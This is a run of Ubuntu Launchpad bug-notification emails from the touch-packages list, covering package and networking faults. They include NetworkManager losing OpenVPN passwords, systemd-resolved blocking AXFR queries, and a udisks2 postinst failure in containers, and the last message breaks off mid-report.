Confirmed Status in samba package in Ubuntu: Confirmed Status in system-config-printer package in Ubuntu: Confirmed Bug description: when I connect to smb server (nas) permanently appears "Error while getting peer-to-peer dbus connection: Operation was cancelled" The printer at this NAS doesn't work too. "held for authentication KeyError: 'auth-info-required'" The same printer at usb port works fine. Ubuntu development version 20.04 system-config-printer version 1.5.11-4ubuntu1 smbclient version 2:4.10.7+dfsg-0ubuntu3 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1849859/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1858092] Re: Network Manager not saving OpenVPN password
P.S. The bug is indeed fixed in focal. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1858092 Title: Network Manager not saving OpenVPN password Status in NetworkManager: Fix Released Status in network-manager package in Ubuntu: Fix Released Status in network-manager source package in Eoan: In Progress Status in network-manager source package in Focal: Fix Released Bug description: [impact] network-manager no longer correctly saves VPN passwords [test case] on a 19.10 (or later) system, configure a VPN with network-manager and provide a password that it should save. On next connection, it will prompt for a password again. [regression potential] as this adjusts how n-m handles connections with secrets/passwords, any regression would likely cause secrets to fail to be stored for later use, and/or failure to correctly use the secrets at all to setup the connection. [scope] This is needed only in eoan. The patch: https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/cf557bf06f344bdbcd775dce35daa42335c645d7 is included in the 1.20.6 release: https://gitlab.freedesktop.org/NetworkManager/NetworkManager/issues/230#note_283402 focal-proposed currently has version 1.20.8, so this patch is already included in focal. This bug was introduced after version 1.18.2: https://gitlab.freedesktop.org/NetworkManager/NetworkManager/issues/230#note_235976 disco-updates has version 1.60.0, so this patch is not needed in disco or earlier. [other info] original description: --- Hi everyone, After upgrading to kubuntu 19.10 I can't save the VPN password using Store password for this user only. It seems the integration with the kwallet is failing somehow... The system logs seem to show that everything went ok, but the password is not saved: jan 02 11:40:40 NetworkManager[5530]: [1577965240.2166] audit: op="connection-update" uuid="4c05-911a-1d9161f05a19" name="ovpn" args="vpn.secrets" pid=14142 uid=1000 result="success" This also happens with a clean install. Operating System: Kubuntu 19.10 KDE Plasma Version: 5.16.5 KDE Frameworks Version: 5.62.0 Qt Version: 5.12.4 Kernel Version: 5.3.0-24-generic OS Type: 64-bit To manage notifications about this bug go to: https://bugs.launchpad.net/network-manager/+bug/1858092/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1858092] Re: Network Manager not saving OpenVPN password
Hi Pete, I will try to re-check the status of this for eoan today after work. Sorry for the delay, I have been very busy lately ;) Cheers. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1858092 Title: Network Manager not saving OpenVPN password Status in NetworkManager: Fix Released Status in network-manager package in Ubuntu: Fix Released Status in network-manager source package in Eoan: In Progress Status in network-manager source package in Focal: Fix Released Bug description: [impact] network-manager no longer correctly saves VPN passwords [test case] on a 19.10 (or later) system, configure a VPN with network-manager and provide a password that it should save. On next connection, it will prompt for a password again. [regression potential] as this adjusts how n-m handles connections with secrets/passwords, any regression would likely cause secrets to fail to be stored for later use, and/or failure to correctly use the secrets at all to setup the connection. [scope] This is needed only in eoan. The patch: https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/cf557bf06f344bdbcd775dce35daa42335c645d7 is included in the 1.20.6 release: https://gitlab.freedesktop.org/NetworkManager/NetworkManager/issues/230#note_283402 focal-proposed currently has version 1.20.8, so this patch is already included in focal. This bug was introduced after version 1.18.2: https://gitlab.freedesktop.org/NetworkManager/NetworkManager/issues/230#note_235976 disco-updates has version 1.60.0, so this patch is not needed in disco or earlier. [other info] original description: --- Hi everyone, After upgrading to kubuntu 19.10 I can't save the VPN password using Store password for this user only. It seems the integration with the kwallet is failing somehow... The system logs seem to show that everything went ok, but the password is not saved: jan 02 11:40:40 NetworkManager[5530]: [1577965240.2166] audit: op="connection-update" uuid="4c05-911a-1d9161f05a19" name="ovpn" args="vpn.secrets" pid=14142 uid=1000 result="success" This also happens with a clean install. Operating System: Kubuntu 19.10 KDE Plasma Version: 5.16.5 KDE Frameworks Version: 5.62.0 Qt Version: 5.12.4 Kernel Version: 5.3.0-24-generic OS Type: 64-bit To manage notifications about this bug go to: https://bugs.launchpad.net/network-manager/+bug/1858092/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1439771] Re: wpa_supplicant[874]: dbus: Failed to construct signal after 'suspend'
dbus: failed to construct signal -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1439771 Title: wpa_supplicant[874]: dbus: Failed to construct signal after 'suspend' Status in network-manager package in Ubuntu: Confirmed Bug description: The Wifi network can't connect after the wake up from suspend. Xubuntu 15.04 I'll post more useful details (journalctl log) as a comment to this bug report. ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: dbus 1.8.12-1ubuntu5 Uname: Linux 4.0.0-04rc5-generic x86_64 ApportVersion: 2.17-0ubuntu1 Architecture: amd64 CurrentDesktop: XFCE Date: Thu Apr 2 18:18:56 2015 InstallationDate: Installed on 2015-03-27 (5 days ago) InstallationMedia: Xubuntu 15.04 "Vivid Vervet" - Beta amd64 (20150326) SourcePackage: dbus UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1439771/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1858092] Re: Network Manager not saving OpenVPN password
This bug also affects focal, it's a network-manager bug fixed in 1.20.6 which we could patch in the packaging while we don't have the .6 package. Attaching debdiff for focal... ** Patch added: "network-manager_1.20.4-2ubuntu4.debdiff" https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1858092/+attachment/5318191/+files/network-manager_1.20.4-2ubuntu4.debdiff -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1858092 Title: Network Manager not saving OpenVPN password Status in network-manager package in Ubuntu: Confirmed Bug description: Hi everyone, After upgrading to kubuntu 19.10 I can't save the VPN password using Store password for this user only. It seems the integration with the kwallet is failing somehow... The system logs seem to show that everything went ok, but the password is not saved: jan 02 11:40:40 NetworkManager[5530]: [1577965240.2166] audit: op="connection-update" uuid="4c05-911a-1d9161f05a19" name="ovpn" args="vpn.secrets" pid=14142 uid=1000 result="success" This also happens with a clean install. Operating System: Kubuntu 19.10 KDE Plasma Version: 5.16.5 KDE Frameworks Version: 5.62.0 Qt Version: 5.12.4 Kernel Version: 5.3.0-24-generic OS Type: 64-bit To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1858092/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1858092] Re: Network Manager not saving OpenVPN password
** Changed in: network-manager (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1858092 Title: Network Manager not saving OpenVPN password Status in network-manager package in Ubuntu: Confirmed Bug description: Hi everyone, After upgrading to kubuntu 19.10 I can't save the VPN password using Store password for this user only. It seems the integration with the kwallet is failing somehow... The system logs seem to show that everything went ok, but the password is not saved: jan 02 11:40:40 NetworkManager[5530]: [1577965240.2166] audit: op="connection-update" uuid="4c05-911a-1d9161f05a19" name="ovpn" args="vpn.secrets" pid=14142 uid=1000 result="success" This also happens with a clean install. Operating System: Kubuntu 19.10 KDE Plasma Version: 5.16.5 KDE Frameworks Version: 5.62.0 Qt Version: 5.12.4 Kernel Version: 5.3.0-24-generic OS Type: 64-bit To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1858092/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1854976] [NEW] systemd-resolved doesn't work with "host -l" / AXFR queries
Public bug reported: Hello, some time ago network-manager in Ubuntu switched from dnsmasq to systemd-resolved. When network-manager used dnsmasq to handle DNS, one could use "host -l" to list all the hosts in a DNS zone, something like this: $ host -l mydomain.lan mydomain.lan name server mydns.mydomain.lan host1.mydomain.lan has address x.x.x.x host2.mydomain.lan has address x.x.x.x host3.mydomain.lan has address x.x.x.x host4.mydomain.lan has address x.x.x.x [...] That, unfortunately, no longer works since the switch to systemd-resolved, it always fails like this: $ host -l mydomain.lan Host mydomain.lan not found: 4(NOTIMP) ; Transfer failed. And I think that's because systemd-resolved is "filtering" the AXFR queries issued by "host -l" (I checked the network traffic with tcdump and that "NOTIMP" comes from the loopback interface). ** Affects: systemd (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1854976 Title: systemd-resolved doesn't work with "host -l" / AXFR queries Status in systemd package in Ubuntu: New Bug description: Hello, some time ago network-manager in Ubuntu switched from dnsmasq to systemd-resolved. When network-manager used dnsmasq to handle DNS, one could use "host -l" to list all the hosts in a DNS zone, something like this: $ host -l mydomain.lan mydomain.lan name server mydns.mydomain.lan host1.mydomain.lan has address x.x.x.x host2.mydomain.lan has address x.x.x.x host3.mydomain.lan has address x.x.x.x host4.mydomain.lan has address x.x.x.x [...] That, unfortunately, no longer works since the switch to systemd-resolved, it always fails like this: $ host -l mydomain.lan Host mydomain.lan not found: 4(NOTIMP) ; Transfer failed. And I think that's because systemd-resolved is "filtering" the AXFR queries issued by "host -l" (I checked the network traffic with tcdump and that "NOTIMP" comes from the loopback interface). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1854976/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1845314] Re: udisks2 fails to install in a container with systemd 243
3. How we could fix it? Well, given the data I posted above, my *guess* is that we could safely ignore the udevadm non-zero exit status in the udisks2 postinst script with something like this: if [ "$1" = "configure" ]; then # we ship udev rules, so trigger an update udevadm trigger --subsystem-match=block --action=change || true fi Note the final "|| true". In case the conjecture I just made above is correct, I prepared a modified udisks2 package in a PPA which doesn't fail to install: https://launchpad.net/~panfaust/+archive/ubuntu/udisks2 If the conjecture I made and/or proposed fix are wrong, I hope at least the data I provided leads to the correct solution. Regards. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1845314 Title: udisks2 fails to install in a container with systemd 243 Status in systemd package in Ubuntu: Confirmed Bug description: santa_ | rbalint: hey while systemd 243 was available in eoan I still got one of "my" issues (udisks2 fails to install in a container) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1845314/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1845314] Re: udisks2 fails to install in a container with systemd 243
2. Why this is happening? First of all, the udisks2 installation fails because the postinst script fails. Inspecting the postinst script of udisks2, we can see these lines: if [ "$1" = "configure" ]; then # we ship udev rules, so trigger an update udevadm trigger --subsystem-match=block --action=change fi That udevadm command fails, i.e. ends with non-zero status with systemd >= 243. This new different behaviour of udevadm makes the postinst script fail, and that makes the package installation fail. While I didn't git bisect the thing, reading the systemd git history makes me believe that the specific commit which produced this new behaviour could be this one: https://github.com/systemd/systemd/commit/0584b17a8c7d17649aef9f06a8aee304dc80eb7e -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1845314 Title: udisks2 fails to install in a container with systemd 243 Status in systemd package in Ubuntu: New Bug description: santa_ | rbalint: hey while systemd 243 was available in eoan I still got one of "my" issues (udisks2 fails to install in a container) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1845314/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1845314] Re: udisks2 fails to install in a container with systemd 243
Hi, I'm the santa_ above, so, to explain the full picture I'm going to write 3 separate messages below trying to answer these 3 questions: 1. How to reproduce the issue? 2. Why this is happening? 3. How we could fix it? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1845314 Title: udisks2 fails to install in a container with systemd 243 Status in systemd package in Ubuntu: New Bug description: santa_ | rbalint: hey while systemd 243 was available in eoan I still got one of "my" issues (udisks2 fails to install in a container) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1845314/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1845314] Re: udisks2 fails to install in a container with systemd 243
1. How to reproduce the issue? Very easy, you just have to create an eoan LXD container, add the ppa with systemd 243: https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/3801/+packages and then just do "apt dist-upgrade" to upgrate to systemd 243 and "apt install udisks2", the udisks2 installation will fail like this (obviously the devices in question could be different in your case, but the error will be similar): Failed to write 'change' to '/sys/devices/pci:00/:00:1f.2/ata1/host0/target0:0:0/0:0:0:0/block/sda/uevent': Permission denied Failed to write 'change' to '/sys/devices/pci:00/:00:1f.2/ata1/host0/target0:0:0/0:0:0:0/block/sda/sda1/uevent': Permission denied Failed to write 'change' to '/sys/devices/pci:00/:00:1f.2/ata2/host1/target1:0:0/1:0:0:0/block/sdb/uevent': Permission denied Failed to write 'change' to '/sys/devices/pci:00/:00:1f.2/ata2/host1/target1:0:0/1:0:0:0/block/sdb/sdb1/uevent': Permission denied Failed to write 'change' to '/sys/devices/pci:00/:00:1f.2/ata2/host1/target1:0:0/1:0:0:0/block/sdb/sdb2/uevent': Permission denied Failed to write 'change' to '/sys/devices/pci:00/:00:1f.2/ata2/host1/target1:0:0/1:0:0:0/block/sdb/sdb3/uevent': Permission denied Failed to write 'change' to '/sys/devices/pci:00/:00:1f.2/ata2/host1/target1:0:0/1:0:0:0/block/sdb/sdb4/uevent': Permission denied Failed to write 'change' to '/sys/devices/pci:00/:00:1f.2/ata2/host1/target1:0:0/1:0:0:0/block/sdb/sdb5/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/loop0/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/loop1/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/loop2/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/loop3/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/loop4/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/loop5/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/loop6/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/loop7/uevent': Permission denied Failed to write 'change' to '/sys/devices/virtual/block/dm-0/uevent': Permission denied dpkg: error processing package udisks2 (--configure): installed udisks2 package post-installation script subprocess returned error exit status 1 Setting up libblockdev-crypto2:amd64 (2.22-1) ... Processing triggers for man-db (2.8.7-3) ... Processing triggers for dbus (1.12.14-1ubuntu2) ... Processing triggers for libc-bin (2.30-0ubuntu2) ... Errors were encountered while processing: udisks2 E: Sub-process /usr/bin/dpkg returned an error code (1) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1845314 Title: udisks2 fails to install in a container with systemd 243 Status in systemd package in Ubuntu: New Bug description: santa_ | rbalint: hey while systemd 243 was available in eoan I still got one of "my" issues (udisks2 fails to install in a container) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1845314/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1777366] Re: package python-minimal 2.7.15~rc1-1 failed to install/upgrade: installed python-minimal package post-installation script subprocess returned error exit status 1
Hello there, Although I am not a french speaking, I think i understood your issue. This might be related to another python binary you have on your path. Please check you have /usr/bin first in your path by the time of the upgrade -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python-defaults in Ubuntu. https://bugs.launchpad.net/bugs/1777366 Title: package python-minimal 2.7.15~rc1-1 failed to install/upgrade: installed python-minimal package post-installation script subprocess returned error exit status 1 Status in python-defaults package in Ubuntu: New Bug description: Veuillez utiliser « sudo apt autoremove » pour les supprimer. Paquets suggérés : python-doc python-tk Les NOUVEAUX paquets suivants seront installés : python 0 mis à jour, 1 nouvellement installés, 0 à enlever et 1935 non mis à jour. 8 partiellement installés ou enlevés. Il est nécessaire de prendre 0 o/140 ko dans les archives. Après cette opération, 639 ko d'espace disque supplémentaires seront utilisés. Paramétrage de python-minimal (2.7.15~rc1-1) ... Traceback (most recent call last): File "/usr/local/lib/python2.7/runpy.py", line 174, in _run_module_as_main "__main__", fname, loader, pkg_name) File "/usr/local/lib/python2.7/runpy.py", line 72, in _run_code exec code in run_globals File "/usr/local/lib/python2.7/compileall.py", line 16, in import struct File "/usr/local/lib/python2.7/struct.py", line 1, in from _struct import * ImportError: No module named _struct dpkg: erreur de traitement du paquet python-minimal (--configure) : installed python-minimal package post-installation script subprocess returned error exit status 1 Des erreurs ont été rencontrées pendant l'exécution : python-minimal E: Sub-process /usr/bin/dpkg returned an error code (1) ProblemType: Package DistroRelease: Ubuntu 18.04 Package: python-minimal 2.7.15~rc1-1 ProcVersionSignature: Ubuntu 4.13.0-32.35-generic 4.13.13 Uname: Linux 4.13.0-32-generic i686 NonfreeKernelModules: nvidia ApportVersion: 2.20.8-0ubuntu6 Architecture: i386 Date: Sun Jun 17 22:44:04 2018 ErrorMessage: installed python-minimal package post-installation script subprocess returned error exit status 1 InstallationDate: Installed on 2012-07-04 (2174 days ago) InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release i386 (20120423) Python3Details: /usr/local/bin/python3.5, Python 3.5.2, unpackaged PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu1 apt 1.6~alpha7ubuntu1 SourcePackage: python-defaults Title: package python-minimal 2.7.15~rc1-1 failed to install/upgrade: installed python-minimal package post-installation script subprocess returned error exit status 1 UpgradeStatus: Upgraded to bionic on 2018-01-28 (140 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python-defaults/+bug/1777366/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1786652] [NEW] package udev 237-3ubuntu10.3 failed to install/upgrade: installed udev package post-installation script subprocess returned error exit status 1
Public bug reported: I don't know. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: udev 237-3ubuntu10.3 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic i686 ApportVersion: 2.20.9-0ubuntu7.3 Architecture: i386 Date: Sat Aug 11 19:14:37 2018 ErrorMessage: installed udev package post-installation script subprocess returned error exit status 1 Lsusb: Bus 002 Device 003: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Standard AHV ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=b7c98825-6d39-46f2-a817-6d85d6aec6f4 ro Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3 SourcePackage: systemd Title: package udev 237-3ubuntu10.3 failed to install/upgrade: installed udev package post-installation script subprocess returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/23/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1.03.CCE dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: HURONRIVER dmi.board.vendor: INTEL Corporation dmi.board.version: To be filled by O.E.M. dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1.03.CCE:bd03/23/2011:svnStandard:pnAHV:pvrTobefilledbyO.E.M.:rvnINTELCorporation:rnHURONRIVER:rvrTobefilledbyO.E.M.:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: To be filled by O.E.M. dmi.product.name: AHV dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Standard ** Affects: systemd (Ubuntu) Importance: Undecided Status: New ** Tags: apport-package bionic i386 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1786652 Title: package udev 237-3ubuntu10.3 failed to install/upgrade: installed udev package post-installation script subprocess returned error exit status 1 Status in systemd package in Ubuntu: New Bug description: I don't know. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: udev 237-3ubuntu10.3 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic i686 ApportVersion: 2.20.9-0ubuntu7.3 Architecture: i386 Date: Sat Aug 11 19:14:37 2018 ErrorMessage: installed udev package post-installation script subprocess returned error exit status 1 Lsusb: Bus 002 Device 003: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Standard AHV ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=b7c98825-6d39-46f2-a817-6d85d6aec6f4 ro Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3 SourcePackage: systemd Title: package udev 237-3ubuntu10.3 failed to install/upgrade: installed udev package post-installation script subprocess returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/23/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1.03.CCE dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: HURONRIVER dmi.board.vendor: INTEL Corporation dmi.board.version: To be filled by O.E.M. dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1.03.CCE:bd03/23/2011:svnStandard:pnAHV:pvrTobefilledbyO.E.M.:rvnINTELCorporation:rnHURONRIVER:rvrTobefilledbyO.E.M.:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: To be filled by O.E.M. dmi.product.name: AHV dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Standard To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1786652/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net
[Touch-packages] [Bug 1786321] Re: after update libc-bin any usb dont work preperly, (usb storage dont automount, wifi usb dont work (term and networkmanager), bt dongle too), usb modem (dont connect)
it was resolved, the problem resolved remove teamviewer package, that package blocks after that update (and teamviewer update also). -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to eglibc in Ubuntu. https://bugs.launchpad.net/bugs/1786321 Title: after update libc-bin any usb dont work preperly, (usb storage dont automount, wifi usb dont work (term and networkmanager), bt dongle too), usb modem (dont connect) Status in eglibc package in Ubuntu: New Bug description: Description: Ubuntu 14.04.5 LTS Release: 14.04 libc-bin:i386 2.19-0ubuntu6.14 after update libc-bin any usb dont work preperly, (usb storage dont automount, wifi usb dont work (term and networkmanager), bt dongle too), usb modem (dont connect) before update all work fine To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/eglibc/+bug/1786321/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1786321] [NEW] after update libc-bin any usb dont work preperly, (usb storage dont automount, wifi usb dont work (term and networkmanager), bt dongle too), usb modem (dont connec
Public bug reported: Description:Ubuntu 14.04.5 LTS Release:14.04 libc-bin:i386 2.19-0ubuntu6.14 after update libc-bin any usb dont work preperly, (usb storage dont automount, wifi usb dont work (term and networkmanager), bt dongle too), usb modem (dont connect) before update all work fine ** Affects: eglibc (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to eglibc in Ubuntu. https://bugs.launchpad.net/bugs/1786321 Title: after update libc-bin any usb dont work preperly, (usb storage dont automount, wifi usb dont work (term and networkmanager), bt dongle too), usb modem (dont connect) Status in eglibc package in Ubuntu: New Bug description: Description: Ubuntu 14.04.5 LTS Release: 14.04 libc-bin:i386 2.19-0ubuntu6.14 after update libc-bin any usb dont work preperly, (usb storage dont automount, wifi usb dont work (term and networkmanager), bt dongle too), usb modem (dont connect) before update all work fine To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/eglibc/+bug/1786321/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1783618] [NEW] package gstreamer1.0-tools 1.14.1-1~ubuntu18.04.1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attemptin
Public bug reported: I tried everything from askubuntu but the system doesn't give in. Each time I do "sudo apt-get upgrade" I get the message Errors were encountered while processing: gstreamer1.0-tools gstreamer1.0-plugins-base-apps E: Sub-process /usr/bin/dpkg returned an error code (1) I belive its a Bug. Please verify it. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: gstreamer1.0-tools 1.14.1-1~ubuntu18.04.1 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 AptOrdering: console-setup-linux:amd64: Install console-setup:amd64: Install keyboard-configuration:amd64: Install NULL: ConfigurePending Architecture: amd64 Date: Wed Jul 25 22:54:34 2018 DuplicateSignature: package:gstreamer1.0-tools:1.14.1-1~ubuntu18.04.1 Processing triggers for ureadahead (0.100.0-20) ... ureadahead will be reprofiled on next reboot dpkg: error processing package gstreamer1.0-tools (--configure): package is in a very bad inconsistent state; you should ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting configuration InstallationDate: Installed on 2018-05-12 (74 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: N/A RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3 SourcePackage: gstreamer1.0 Title: package gstreamer1.0-tools 1.14.1-1~ubuntu18.04.1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: gstreamer1.0 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gstreamer1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1783618 Title: package gstreamer1.0-tools 1.14.1-1~ubuntu18.04.1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration Status in gstreamer1.0 package in Ubuntu: New Bug description: I tried everything from askubuntu but the system doesn't give in. Each time I do "sudo apt-get 